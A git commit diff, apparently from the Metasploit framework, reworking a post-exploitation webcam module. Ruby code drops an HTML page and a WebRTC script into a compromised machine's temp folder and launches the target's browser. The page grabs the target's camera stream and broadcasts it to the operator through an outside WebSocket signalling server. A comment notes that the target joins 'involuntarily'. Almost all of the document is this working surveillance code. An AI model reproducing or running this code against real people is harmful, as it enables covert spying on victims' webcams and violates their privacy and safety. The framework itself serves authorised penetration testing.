This should work
parent
36f3a82b5c
commit
526bf9f6bc
|
@ -1,8 +1,10 @@
|
||||||
<!DOCTYPE html>
|
<!DOCTYPE html>
|
||||||
<head>
|
<head>
|
||||||
<script src="api.js"> </script>
|
<script src="=WEBRTCAPIJS="> </script>
|
||||||
</head>
|
</head>
|
||||||
<body>
|
<body>
|
||||||
|
<div id="chat_area"></div>
|
||||||
|
<a href="http://metasploit.com/" target="_blank">Metasploit.com</a>
|
||||||
<script>
|
<script>
|
||||||
var channel = 'msfsinn3rtest123';
|
var channel = 'msfsinn3rtest123';
|
||||||
var websocket = new WebSocket('ws://wsnodejs.jit.su:80');
|
var websocket = new WebSocket('ws://wsnodejs.jit.su:80');
|
||||||
|
@ -35,7 +37,7 @@
|
||||||
var video = e.mediaElement;
|
var video = e.mediaElement;
|
||||||
video.setAttribute('width', 600);
|
video.setAttribute('width', 600);
|
||||||
video.setAttribute('controls', true);
|
video.setAttribute('controls', true);
|
||||||
document.body.appendChild(video);
|
document.getElementById("chat_area").appendChild(video);
|
||||||
video.play();
|
video.play();
|
||||||
};
|
};
|
||||||
|
|
||||||
|
|
|
@ -1,8 +1,9 @@
|
||||||
<!DOCTYPE html>
|
<!DOCTYPE html>
|
||||||
<head>
|
<head>
|
||||||
<script src="=WEBRTCAPIJS="> </script>
|
<script src="api.js"> </script>
|
||||||
</head>
|
</head>
|
||||||
<body>
|
<body>
|
||||||
|
<div id="chat_area"></div>
|
||||||
<script>
|
<script>
|
||||||
var channel = 'msfsinn3rtest123';
|
var channel = 'msfsinn3rtest123';
|
||||||
var websocket = new WebSocket('ws://wsnodejs.jit.su:80');
|
var websocket = new WebSocket('ws://wsnodejs.jit.su:80');
|
||||||
|
@ -28,7 +29,7 @@
|
||||||
var video = e.mediaElement;
|
var video = e.mediaElement;
|
||||||
video.setAttribute('width', 600);
|
video.setAttribute('width', 600);
|
||||||
video.setAttribute('controls', true);
|
video.setAttribute('controls', true);
|
||||||
document.body.appendChild(video);
|
document.getElementById("chat_area").appendChild(video);
|
||||||
video.play();
|
video.play();
|
||||||
};
|
};
|
||||||
|
|
||||||
|
@ -46,7 +47,6 @@
|
||||||
console.debug("onload");
|
console.debug("onload");
|
||||||
getUserMedia(function(stream) {
|
getUserMedia(function(stream) {
|
||||||
peer.addStream(stream);
|
peer.addStream(stream);
|
||||||
console.debug("broadcasting");
|
|
||||||
peer.startBroadcasting();
|
peer.startBroadcasting();
|
||||||
});
|
});
|
||||||
};
|
};
|
||||||
|
|
|
@ -58,13 +58,14 @@ class Webcam
|
||||||
|
|
||||||
def webcam_chat
|
def webcam_chat
|
||||||
offerer_id = 'sinn3r_offer'
|
offerer_id = 'sinn3r_offer'
|
||||||
ready_status = init_video_chat(offerer_id)
|
remote_browser_path = get_webrtc_browser_path
|
||||||
|
ready_status = init_video_chat(remote_browser_path, offerer_id)
|
||||||
unless ready_status
|
unless ready_status
|
||||||
raise RuntimeError, "Unable to find a suitable browser to initialize a WebRTC session."
|
raise RuntimeError, "Unable to find a suitable browser to initialize a WebRTC session."
|
||||||
end
|
end
|
||||||
|
|
||||||
remote_browser_path = get_webrtc_browser_path
|
select(nil, nil, nil, 10)
|
||||||
connect_video_chat(remote_browser_path, offerer_id)
|
connect_video_chat(offerer_id)
|
||||||
end
|
end
|
||||||
|
|
||||||
# Record from default audio source for +duration+ seconds;
|
# Record from default audio source for +duration+ seconds;
|
||||||
|
@ -81,6 +82,11 @@ class Webcam
|
||||||
|
|
||||||
private
|
private
|
||||||
|
|
||||||
|
#
|
||||||
|
# Returns a browser path that supports WebRTC
|
||||||
|
#
|
||||||
|
# @return [String]
|
||||||
|
#
|
||||||
def get_webrtc_browser_path
|
def get_webrtc_browser_path
|
||||||
found_browser_path = ''
|
found_browser_path = ''
|
||||||
|
|
||||||
|
@ -105,8 +111,10 @@ class Webcam
|
||||||
'/Applications/Google Chrome.app',
|
'/Applications/Google Chrome.app',
|
||||||
'/Applications/Firefox.app',
|
'/Applications/Firefox.app',
|
||||||
].each do |browser_path|
|
].each do |browser_path|
|
||||||
found_browser_path = found_browser_path
|
if file?(browser_path)
|
||||||
break
|
found_browser_path = browser_path
|
||||||
|
break
|
||||||
|
end
|
||||||
end
|
end
|
||||||
when /linux|unix/
|
when /linux|unix/
|
||||||
# Need to add support for Linux
|
# Need to add support for Linux
|
||||||
|
@ -115,10 +123,44 @@ class Webcam
|
||||||
found_browser_path
|
found_browser_path
|
||||||
end
|
end
|
||||||
|
|
||||||
def init_video_chat(offerer_id)
|
|
||||||
|
#
|
||||||
|
# Creates a video chat session as an offerer... involuntarily :-p
|
||||||
|
#
|
||||||
|
# @param remote_browser_path [String] A browser path that supports WebRTC on the target machine
|
||||||
|
# @param offerer_id [String] A ID that the answerer can look for and join
|
||||||
|
#
|
||||||
|
def init_video_chat(remote_browser_path, offerer_id)
|
||||||
interface = load_interface('offerer.html')
|
interface = load_interface('offerer.html')
|
||||||
api = load_api_code
|
api = load_api_code
|
||||||
|
|
||||||
|
tmp_dir = session.sys.config.getenv("TEMP")
|
||||||
|
|
||||||
|
write_file("#{tmp_dir}\\interface.html", interface)
|
||||||
|
write_file("#{tmp_dir}\\api.js", api)
|
||||||
|
|
||||||
|
# Special flags needed
|
||||||
|
args = ''
|
||||||
|
if remote_browser_path =~ /Chrome/
|
||||||
|
args = "\"--allow-file-access-from-files\""
|
||||||
|
end
|
||||||
|
|
||||||
|
exec_opts = {'Hidden' => false, 'Channelized' => false}
|
||||||
|
args = "#{args} #{tmp_dir}\\interface.html"
|
||||||
|
session.sys.process.execute(remote_browser_path, args, exec_opts)
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
#
|
||||||
|
# Connects to a video chat session as an answerer
|
||||||
|
#
|
||||||
|
# @param offerer_id [String] The offerer's ID in order to join the video chat
|
||||||
|
# @return void
|
||||||
|
#
|
||||||
|
def connect_video_chat(offerer_id)
|
||||||
|
interface = load_interface('answerer.html')
|
||||||
|
api = load_api_code
|
||||||
|
|
||||||
tmp_api = Tempfile.new('api.js')
|
tmp_api = Tempfile.new('api.js')
|
||||||
tmp_api.binmode
|
tmp_api.binmode
|
||||||
tmp_api.write(api)
|
tmp_api.write(api)
|
||||||
|
@ -126,7 +168,7 @@ class Webcam
|
||||||
|
|
||||||
interface = interface.gsub(/\=WEBRTCAPIJS\=/, tmp_api.path)
|
interface = interface.gsub(/\=WEBRTCAPIJS\=/, tmp_api.path)
|
||||||
|
|
||||||
tmp_interface = Tempfile.new('offerer.html')
|
tmp_interface = Tempfile.new('answerer.html')
|
||||||
tmp_interface.binmode
|
tmp_interface.binmode
|
||||||
tmp_interface.write(interface)
|
tmp_interface.write(interface)
|
||||||
tmp_interface.close
|
tmp_interface.close
|
||||||
|
@ -134,24 +176,13 @@ class Webcam
|
||||||
Rex::Compat.open_webrtc_browser(tmp_interface.path)
|
Rex::Compat.open_webrtc_browser(tmp_interface.path)
|
||||||
end
|
end
|
||||||
|
|
||||||
def connect_video_chat(remote_browser_path, offerer_id)
|
|
||||||
interface = load_interface('answerer.html')
|
|
||||||
api = load_api_code
|
|
||||||
|
|
||||||
# write interface
|
|
||||||
# write api
|
|
||||||
|
|
||||||
# Special flags needed
|
|
||||||
args = ''
|
|
||||||
if remote_browser_path =~ /Chrome/
|
|
||||||
args = "\"--allow-file-access-from-files\""
|
|
||||||
end
|
|
||||||
|
|
||||||
exec_opts = {'Hidden' => false, 'Channelized' => false}
|
|
||||||
args = "#{args} http://metasploit.com"
|
|
||||||
session.sys.process.execute(remote_browser_path, args, exec_opts)
|
|
||||||
end
|
|
||||||
|
|
||||||
|
#
|
||||||
|
# Returns the webcam interface
|
||||||
|
#
|
||||||
|
# @param html_name [String] The filename of the HTML interface (offerer.html or answerer.html)
|
||||||
|
# @return [String] The HTML interface code
|
||||||
|
#
|
||||||
def load_interface(html_name)
|
def load_interface(html_name)
|
||||||
interface_path = ::File.join(Msf::Config.data_directory, 'webcam', html_name)
|
interface_path = ::File.join(Msf::Config.data_directory, 'webcam', html_name)
|
||||||
interface_code = ''
|
interface_code = ''
|
||||||
|
@ -159,6 +190,12 @@ class Webcam
|
||||||
interface_code
|
interface_code
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
#
|
||||||
|
# Returns the webcam API
|
||||||
|
#
|
||||||
|
# @return [String] The WebRTC lib code
|
||||||
|
#
|
||||||
def load_api_code
|
def load_api_code
|
||||||
js_api_path = ::File.join(Msf::Config.data_directory, 'webcam', 'api.js')
|
js_api_path = ::File.join(Msf::Config.data_directory, 'webcam', 'api.js')
|
||||||
api = ''
|
api = ''
|
||||||
|
|
Loading…
Reference in New Issue